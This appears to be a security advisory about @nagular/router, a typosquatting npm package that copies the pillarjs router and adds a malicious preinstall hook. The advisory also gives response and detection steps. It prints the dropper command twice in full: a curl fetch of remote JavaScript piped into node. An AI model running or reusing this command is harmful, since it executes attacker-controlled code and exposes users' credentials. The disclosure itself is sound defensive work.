@nagular/routernpm
Advisory published Updated
@nagular/router is a confirmed malicious npm package (MAL-2026-17500) that typosquats a legitimate package to trick installs (malicious version 2.2.1). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in @nagular/router (npm)
What this malware does
@nagular/[email protected] impersonates router (it copies the code and metadata of the pillarjs router package) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @nagular/router and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script.
package.json declares a preinstall lifecycle hook that runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, fetching an opaque JavaScript payload from an unrelated third-party repository (gitflic.ru/hellscripter/install-scripts) proxied via web.archive.org and piping it directly into node at npm install time. The fetched bytes are not pinned by hash or version, the host is unrelated to the declared repository (pillarjs/router) or publisher domain (somethingdoug.com), and execution happens automatically with full user privileges on every install. Package metadata further impersonates the maintainer of the legitimate pillarjs/router package (author: Douglas Christopher Wilson) and uses the scope @nagular/router, a name likely to be confused with @angular/router, consistent with a typosquat lure designed to trick installers into running the preinstall dropper.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Search your lockfiles and build artifacts for @nagular/router (version 2.2.1).
If you installed it — respond
@nagular/router is a typosquat — you almost certainly intended a legitimately-named package. Remove @nagular/router, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If @nagular/router was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- InvisiRisk, Inc. · finder
Detect & block this
O3 blocks @nagular/router-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.